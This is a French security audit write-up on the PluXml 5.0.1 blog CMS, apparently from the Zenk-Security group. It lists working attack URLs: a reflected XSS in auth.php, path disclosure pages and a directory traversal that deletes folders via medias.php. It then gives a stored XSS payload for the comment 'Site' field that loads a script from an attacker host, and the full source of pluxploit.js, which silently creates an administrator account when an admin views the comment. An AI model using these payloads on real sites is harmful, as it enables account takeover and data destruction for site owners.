Date : le mardi 10 août 2010 de 19h à 23h00
Application auditée : PluXml 5.0.1 : http://pluxml.org
Description : Il s'agit d'un CMS qui permet de gérer un Blog / Site. Sa particularité est d'être “Databaseless”. En effet, toutes les données sont stockées dans des fichiers XML
Pad : http://piratepad.net/E5ZA3mDptU
Défauts de sécurité :
De nombreux défauts de sécurité ont été identifiés. Certains sont exploitables en tant que simple visiteur du site et d'autres ne sont accessibles qu'à une personne ayant les droits limités d'un rédacteur.
http://localhost/pluxml/version
http://localhost/pluxml/core/admin/auth.php?p=1337%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E
http://localhost/pluxml/core/lib/class.plx.admin.php http://localhost/pluxml/core/lib/class.plx.feed.php http://localhost/pluxml/core/lib/class.plx.updater.php
(tryks & BaRBcH).
http://localhost/pluxml/core/admin/medias.php?hash=tGJN5ZTw6i&deldir=..&dir=
(Asus).
Solution retenue :
XSS Persistante dans le champ “Site” du formulaire de commentaires (BuRner) :
http://www.rogue.com"><script src=http://attaquant/pluxploit.js></script>
Ainsi, il suffira à l'administrateur de se connecter à la page de l'article contenant le commentaire piégé pour qu'un nouvel administrateur soit créé.
Code source de pluxploit.js (BuRner) :
/****************************************** * * Author: Zenk-Security * App: Pluxml 5.0.1 * Type: Persistent XSS expoitation * Function: Create Administrator account * *****************************************/ function createXMLHttpRequest() { try { return new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) {} try { return new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) {} try { return new XMLHttpRequest(); } catch(e) {} return null; } var ajax = createXMLHttpRequest(); if(ajax != null) { var params = 'userNum[]=999&999_newuser=true&999_name=user&999_infos=&999_login=login&999_password=pass&999_profil=0&999_active=1&selection=&update=Modifier+la+liste+des+utilisateurs'; ajax.open('POST', '/pluxml/core/admin/parametres_users.php', true); ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); ajax.setRequestHeader("Content-length", params.length); ajax.setRequestHeader("Connection", "close"); ajax.send(params); }